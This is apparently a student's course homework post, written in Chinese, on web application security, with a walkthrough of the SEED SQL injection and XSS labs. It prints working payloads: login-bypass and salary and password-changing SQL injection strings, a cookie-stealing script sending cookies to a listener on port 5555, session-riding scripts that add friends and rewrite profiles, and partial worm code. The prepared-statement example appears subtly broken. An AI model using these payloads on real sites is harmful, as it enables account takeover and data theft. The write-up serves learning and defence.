《网络攻防实践》第11周作业
20199138 2019-2020-2 《网络攻防实践》第11周作业
这个作业属于哪个课程 | https://edu.cnblogs.com/campus/besti/19attackdefense |
---|---|
这个作业的要求在哪里 | https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10737 |
本次作业的目标是 | 学习Web应用程序安全攻防 |
作业正文 | 见下文 |
1.实践内容
1.1 Web应用程序体系结构及其安全威胁
1.1.1 Web应用体系结构
- 浏览器:主要完成数据显示展示内容的渲染(render)功能。
- Web服务器:常被简单描述为HTTP守护程序。
- Web应用程序:服务器端的业务逻辑,嵌入在浏览器中执行的客户端逻辑。
- 数据库:“后台”,Web应用存储数据。
- 传输协议HTTP/HTTPS:以上之间的通信传输协议。
1.1.2Web应用安全威胁
- 针对浏览器和终端用户的Web浏览安全威胁:具体包括以浏览器渗透攻击为核心的网页木马,Phishing网站钓鱼等。
- 针对传输网络的网络协议安全威胁:如针对HTTP明文传输协议的敏感信息监听,在网络层、传输层和应用层都存在的假冒身份攻击,以及拒绝服务攻击等。
- 系统层安全威胁:Web站点的宿主操作系统,存在着远程渗透攻击和本地渗透攻击威胁。
- Web服务器软件安全威胁:Web服务器软件如IIS、Apache作为一种典型的网络服务,攻击者可以利用其存在的漏洞对Web服务器实施渗透攻击,或者获取敏感信息。
- Web应用程序安全威胁:包括SQL注入攻击、XSS跨站脚本攻击等。
- Web数据安全威胁。Web站点中在Web应用程序后台存储的关键数据内容,以及Web客户输入的数据内容,存在着被窃取、篡改及输入不良信息等威胁。
1.2 Web应用安全攻防技术概述
1.2.1 Web应用的信息收集
可以通过互联网踩点中的WHOIS与DNS查询、使用Web搜索引擎、以及对默认的TCP 80和443端口进行端口扫描来发现目标组织的Web服务器;使用类型探查技术来识别Web站点的操作系统类型与版本、及Web服务器软件的类型与版本;使用漏洞扫描技术来枚举出Web站点系统和服务器软件中存在的已知安全漏洞:使用查点技术来攫取Web服务器软件的“旗标”。
- 手工审查Web应用程序结构与源代码
(1)静态和动态生成的页面:静态HTML页而一般不会遭受注入攻击,但其HTML源文件可能包含一些有价值的隐藏和注释信息,这些信息有助于攻击者实施进一步的渗透;动态页面则更会引起攻击者的关注,他们会探查所使用的脚本编程语言,页面命名规则,以及参数名称、类型与含义等。
(2)目录结构:攻击者会对Web服务器上查看这一些目录是否存在,以及是否由于不安全的配置可以进行目录文件枚举,从而可以从中搜索包含关键信息或可被攻击的文件。
(3)辅助性文件:手动审查这些辅助性文件可能会得到数据库字段结构、目录路径、Web应用输入参数以及数据库连接字符串等重要信息。
(4)输入表单:手工审查页面源代码可发现关键表单的位置,深入了解页面表单的各方面信息,包括提交数据的方法、表单处理行为、输入字段名称、最大长度限制、隐藏字段、自动完成标记、口令字段等。攻击者可能针对某些表单构造自动口令探测或者注入攻击的请求,尝试绕过表单正常处理过程,获得进一步访问权。
(5)查询参数字符串:可以被复用以假冒其他用户、获取受限的数据、运行任意的系统命令,或者执行其他应用程序开发者所不希望看到的动作。 - 自动下载与镜像Web站点页面
(1)Linux系统可使用lynx、wget等工具
(2)Windows系统可使用TelePort Pro、Offline Explorer等软件
(3)使用Google Hacking技术审查与探测Web应用程序 - Web应用程序安全评估与漏洞探测
Web应用安全辅助分析工具类型:
(1)浏览器插件
(2)免费工具集
(3)商业Web应用安全评估系统和漏洞扫描器
1.2.2 攻击Web服务器软件
Web服务器平台中的安全漏洞:
- 数据驱动的远程代码执行安全漏洞:Web服务器软件包面临着缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程渗透攻击,这类攻击往往能够让攻击者在Web服务器上直接获得远程代码执行的权利,并以相当高的权限执行任意命令。
- 服务器功能扩展模块漏洞
- 样本文件安全漏洞
- 源代码泄露
- 资源解析攻击:一些Web服务器软件可能在资源解析过程中遗漏一些输入合法性与合理性验述的处理,可能导致目录遍历、敏感信息泄露、甚至代码注入攻击。
1.2.3 攻击Web应用程序
将Web应用程序安全威胁从攻击技术角度分类:
(1)针对认证机制的攻击:确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等;
(2)授权机制的攻击:确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等;
(3)客户端攻击:扰乱或者渗透攻击Web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等;
(4)命令执行攻击:在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入、SSI(Server-Side Include)注入等;
(5)信息暴露:获取Web站点具体系统信息的攻击手段,包括目录列举、信息泄露、路径遍历、资源位置可预测等;
(6)逻辑攻击:扰乱或者渗透攻击Web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善、处理验证过程不完善等。
1.2.4 攻击Web数据内容
- 安全敏感数据泄露
泄露途径和方式:
(1)Web服务器存在目录遍历漏洞或不安全的目录文件枚举配置,在不经意间泄露;
(2)利用Web服务器(通常可能同时是FTP服务器)的Upload, incoming等上传目录临时中转文件时泄露:
(3)在Web站点公开的文档资料中包含个人隐私、企业秘密,甚至国家秘密信息。 - 网站篡改
- 不良信息内容上传
1.2.5 Web应用安全防范措施
- Web站点网络传输安全设防措施
(1)使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性,至少要对登录过程进行加密保护。
(2)通过加密的连接通道来管理Web站点,避免使用未经加密的telnet、FTP、HTTP来进行Web后台管理,而使用SSH、SFTP等安全协议。
(3)对关键的Web服务器,设置静态绑定MAC-IP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网关位置部署防火墙与入侵检测系统对Web服务器实施保护与安全检测,釆用冗余等机制来应对拒绝服务攻击。 - Web站点操作系统及服务安全设防措施
(1)及时进行补丁更新
(2)对操作系统及各种开放服务进行远程安全漏洞扫描
(3)关闭所有不使用的服务,避免使用明文传输的网络服务;设置强口令字,以及安全的服务配置;部署防火墙,设置对控制及内容上传通道的限制访问:配置数据备份服务,必要时设置冗余和双机热备机制。 - Web应用程序安全设防措施
(1)发布静态页面的方式来兼顾安全性、访问性能与便捷性。
(2)对必须提供用户交互、采用动态页面的Web站点,尽量使用具有良好安全声誉及稳定技术支持力量的Web应用软件包。
(3)只在必要时候自主或外包开发Web应用程序,在开发和部署过程中需重视安全编程、持续性的安全测试与维护。
(4)使用Web服务器软件提供的日志功能,对Web应用程序的所有访问请求进行日志记录与安全审计 - Web站点数据安全设防措施
(1)确保组织与国家秘密信息不被泄露到对外公开提供服务的Web站点上
(2)维护网站的数据安全实施日常监测和防护
1.3 SQL注入
代码注入攻击通过利用Web应用程序的输入驶证不完善漏洞,使得Web应用程序执行由攻击者所注入的恶意指令和代码,造成敏感信息泄露、权限提升或对系统的未授权访问等危害后果。
- 代码注入根据攻击目标的不同分为:
(1)恶意读取、修改与操纵数据库的SQL注入攻击:
(2)在Web服务器端安装、执行Webshell等恶意脚本的PHP注入或ASP注入攻击;
(3)在Web服务器端恶意执行操作系统命令的Shell注入攻击;
(4)其他多种多样的注入攻击,如LDAP注入、邮件命令注入、空字节注入、SSI注入、 XPath注入、XML注入、XQuery注入等。
1.3.1 SQL注入攻击原理
向Web应用程序提供的用户输入接口(如一个动态页面的输入参数、表单的输入框,等等)输入一段精心构造的SQL査询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。
- 利用字符串输入参数对转义字符过滤不完善的SQL注入攻击(缺乏对用户输入的安全验证)
- 不正确的类型处理,没有对用户输入参数进行类型约束的检查
1.3.2 SQL注入攻击步骤和过程
(1)发现SQL注入点
动态网页可能有多个参数,只要某些参数用于生成SQL语句访问数据库,就可能存在着SQL注入,其中没有进行必要的转义字符过滤和类型检査,那么存在SQL注入漏洞的可能性就非常大, 对这些Web应用程序进行SQL注入攻击的成功率也非常高。
(2)判断后台数据库类型
- 利用数据库服务器的系统变量进行判断
- 利用数据库服务器的系统表进行判断
(3)后台数据库中管理员用户口令字猜解 - 猜解表名
从系统表中读取指定用户表的表结构信息,从而判断出用户名和口令字段名称 - 用户名与口令猜解
通过逐位获取ASCII码值,可以得到username字段的具体取值,即管理员用户账号,对口令字段值的猜解过程也类似。
(4)上传ASP后门,得到默认账户权限
(5)本地权限提升
(6)利用数据库扩展存储过程执行Shell命令
1.3.3 SQL注入攻击工具
- Wposion能够在动态Web文档中找出SQL注入漏洞;wieliekoek.pl能够以并以网站镜像工具生成的输出为输入,找出含有表单页面,允许在配置文件中对注入字符串进行修改,进行SQL注入漏洞探测
- SPIKE Proxy T具允 许使用者对待注入的字符串进行定制,并执行自动化的SQL注入测试
1.3.4 SQL注入攻击防范措施
主要依靠对用户输入中特殊字符严格的输入验证机制,及对输入参数类型与长度的严格检查与限制机制。
(1)使用类型安全的参数编码机制。
(2)凡是来自外部的用户输入,必须进行完备检查。
(3)将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象。
(4)加强SQL数据库服务器的配置与连接。
1.4 XSS跨站脚本攻击
XSS跨站脚本攻击的最终目标是使用Web应用程序的用户。XSS跨站脚本漏洞存在于Web应用程序中,使得击者可以在Web页面中插入恶意的HTML或JavaScript代码,当用户浏览该网页时,客户端浏览器就会解析和执行这些插入的代码,从而造成获取用户敏感信息、客户端渗透攻击等危害后果。
1.4.1 XSS攻击技术原理
XSS攻击的根源同样是Web应用程序对用户输入内容的安全验证与过滤不够完善。攻击方式包括绕过客户端安全策略访问敏感信息,窃取或修改会话Cookie、进行客户端渗透攻击获取访问权等。
1.4.2 XSS攻击类型
- 持久性XSS漏洞(存储性XSS漏洞):常出现于一些可以将用户输入持久性地保存在Web服务器端,并在一些“正常”页面中持续性地显示,从而影响所有访问这些页面的其他用户。
恶意脚本可永久性的包含在网站页面中,针对该类漏洞的客户端执行代码还可以被设计成具备跨用户进行自我传播的能力,从而成为XSS蠕虫。 - 非持久性XSS漏洞(反射XSS漏洞):当Web浏览器在HTTP请求参数或HTML提交表单中提供的数据,被立即由服务器端脚本使用产生一个提供给该用户的结果页面,而缺乏恰当的请求数据安全验证与过滤,那么就很可能存在非持久性的XSS漏洞。
1.4.3 XSS攻击防范措施
- 服务器端防范措施:首要防范措施是对所有来自外部的用户输入进行完备检查,进行严格的安全过滤。需要采取一种三重防御方法来阻止漏洞的发生,包括输入验证、输出净化和消除危险的输入点。
- 输入验证:
需要验证数据的潜在特性包括用户输入数据不是过长、仅包含某些合法字符、不能包含某些HTML与JavaScript关键标签符号、数据与一个特殊的正规表达式相匹配等。 - 输出净化:
Web应用程序将用户提交的数据进行HTML编码,以净化可能的恶意字符,之后再复制到响应页面中。 - 消除危险的输入点:
例如尽量避免直接在现有的JavaScript中插入用户可控制的数据。
- 客户端防范措施:提升浏览器安全设置。
例如提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置Cookie只读。
2.实践过程
2.1 实践作业一:SEED SQL注入实验
任务:访问www.seedlabsqlinjection.com,实现以下内容:
- 对SELECT语句的攻击
- 对UPDATE语句的攻击
- 对抗SQL注入
- 输入sudo service apache2 start启动Apache服务
输入mysql -uroot -p登录MySql数据库,密码seedubuntu
输入use Users可使用其中的数据库,输入show tables可查看该数据库下面的表
输入select * from credential打印所有员工的信息
对SELECT语句的攻击
- 在fireFox打开www.seedlabsqlinjection.com,右键查看当前界面源代码。可以看到前端提交表单数据到unsafe_home.php进行校验。
- 输入vim /var/www/SQLInjection/unsafe_home.php查看对应的源代码,找到其中关于数据库查询的代码
- 通过上图的分析,用户名输入Admin \’#,密码输入任意值,#在sql语句中代表注释,把后面的语句注释。
登录成功且能看到所有用户的数据,与之前查表内容一致。 - 输入curl \’http://www.seedlabsqlinjection.com/unsafe_home.php?username=Admin+\’%23&Password=\’登录系统,其中\’和%23即是\’和#在url中的转义编码。
通过返回的HTML代码,可看到该图的信息和之前图片的信息相同,sql注入攻击成功。 - 在USERNAME中输入Admin’; updata credential set salary=\’1\’ where Name=\’Admin\’ #。不成功,因为MySql中的对策阻止了从php调用多个语句的执行。
对UPDATE的攻击
- 输入vim /var/www/SQLInjection/unsafe_edit_backend.php。从UPDATE语句可看到没有进行任何的保护如权限等。
- USERNAME中输入Alice\’#进行登录
- 点击Edit Profile,在NickName输入\’, salary=\’159357\’ where EID=\’10000\’;# 如图攻击成功。
- 尝试修改其他人的工资。在上图界面中的nickname输入\’, salary=\’1\’ where name=\’Ryan\’;# 再登录Ryan,发现修改成功。
- 尝试修改其他用户的密码。从上文可分析出password在数据库中是以sha1的形式存储的,输入echo -n \’1590\’|sha1sum。159的sha1值为e66d35a623d670f416f6080f849b834be5e04d17
之后登录Alice,edit profile在NickName中输入\’, Password=\’e66d35a623d670f416f6080f849b834be5e04d17\’ where Name=\’Ryan\’;#。然后登录Ryan的账户,输入密码1590发现登录成功。
对抗SQL注入
SQL注入漏洞的根本原因是SQL语句送往数据库执行时无法将代码与数据分离。安全有效的方法是使用预处理语句机制,预处理语句能够做到一次编译、多次运行,省去了解析优化等过程。修改后的预处理代码,参数值可以包含转义字符和定界符。使用之前的方式登录提示账号不存在。现在则能够防止对SELECT语句的SQL注入攻击。
$stmt = $conn->prepare("SELECT name, local, gender FROM USER_TABLE WHERE id = ? and password = ? ");
// Bind parameters to the query
$stmt->bind_param("?", $id, $pwd);
$stmt->execute();
$stmt->bind_result($bind_name, $bind_local, $bind_gender);
$stmt->fetch();
2.2 实践作业二:SEED XSS攻击实验
任务:访问www.xsslabelgg.com,完成以下内容:
- 弹窗显示恶意信息
- 弹窗显示cookie信息
- 窃取受害者的cookies
- 成为受害者的朋友
- 修改受害者的信息
- 编写XSS蠕虫
- 对抗XSS攻击
- 弹窗显示恶意信息
登录Elgg,输入用户名Alice,密码seedalice。在Elgg user profile中嵌入JavaScript程序,将代码插入Alice的profile(Brief desription域),然后用户名Boby登录并查看Alice的profile,则将会看到警告窗口。JavaScript程序将会执行并且显示一个警告窗口。
<script>alert(\'XSS\');</script>
登录Boby,查看Alice的profile时弹出了XSS弹窗。攻击成功原因:没有对字段进行安全检查和过滤就直接插入数据表。显示内容的时候,也是直接读取显示,没有经过输出净化
2. 弹窗显示cookie信息
与1原理类似,在Brief desription域填入
3. 窃取受害者的cookies
- 攻击者通过JavaScript代码将cookie发给自己。恶意JavaScript代码需要向攻击者发送一个HTTP请求,同时附加cookies到请求。可以使用恶意的JavaScript插入一个
标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,导致HTTP GET请求发送到攻击者的机器。下面给出的JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。
- 使用本地作为攻击者的服务器,输入
<script>document.write(\'<img src=http://127.0.0.1:5555?c=\'+escape(document.cookie) + \' >\');</script>,
- 输入nc -l 5555 -v,使用nc进行监听5555端口。-l指定端口,-v显示详细信息。再登录Boby的账户查看Alice的账户profile就可以得到Boby的cookie信息。
- 成为受害者的朋友
窃取受害者cookies后,攻击者可对Elgg网络服务器做任何事情,也就是说攻击者已经劫持了受害者的会话。接下来为受害者添加一个朋友。
点击Add Friend,查找会发送什么样的指令。使用HTTP Header Live查看发送的数据。如下图
如图请求地址的参数分别为:
friend= ;&__elgg_ts= ;&__elgg_token=
可用于xss攻击自动添加好友的Javascript代码如下。首先是获取访问者的elgg_ts和elgg_token,然后构造一个URL访问,即上文的sendurl,通过XMLHttpRequest构建请求,方式为get,并设置请求头和其他信息,通过send函数发送请求。
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
将上述代码放在Alice的about me中(edit HTML模式)
登录Boby账户,发现已经自动添加了Alice好友
5. 修改受害者的信息
与4类似,查看HTTP Header Live,可以看到用户修改profile时发送的http请求的具体格式。通过这个方式构造和上面相近的js程序。
代码如下,并放在Alice的about me中(edit HTML模式)
首先获取到访问者的&__elgg_token=、__elgg_ts、&__name=elgg.session.user.name和页面的其他信息,之后按照上文的分析构建了请求url,即上文的sendurl,再通过XMLHttpRequest构建请求,方式为POST,并设置请求头和其他信息,通过send函数发送请求。
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 登录Boby账户访问Alice,发现页面修改成功。
- 编写XSS蠕虫
参考同学的,直接放代码吧
<script id="worm" type ="text/javascript">
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
alert(jsCode);
</script>
继续将上面的代码放入Alice的about me中,Boby再进行访问时发现该代码被复制。
7. 对抗XSS攻击
Elgg已经提供对抗XSS攻击的插件,登录管理员账户,找到插件HTMLawed并将其激活。该插件作用是对用户的输入输出进行校验并且去除特定标签。
再查看Alice的profile,发现Alice中about me的代码被显示出来了,XSS攻击已经没有效果了。
3.学习中遇到的问题及解决
- 问题1:编写XSS蠕虫程序有些困难
- 问题1解决方案:参考解同学的代码。
4.实践总结
书上这一章的内容不难理解,实践也不是很难,但编写XSS蠕虫对我来说有点困难,对js了解不是很深。以前的知识有不少也淡忘了。以前没走的路最终还是要回来尝试走一遍。
参考资料
- 《MySQL 教程》
- 《跨站脚本漏洞(XSS)基础讲解》
- 《MOOC信息系统安全与对抗实践》第四单元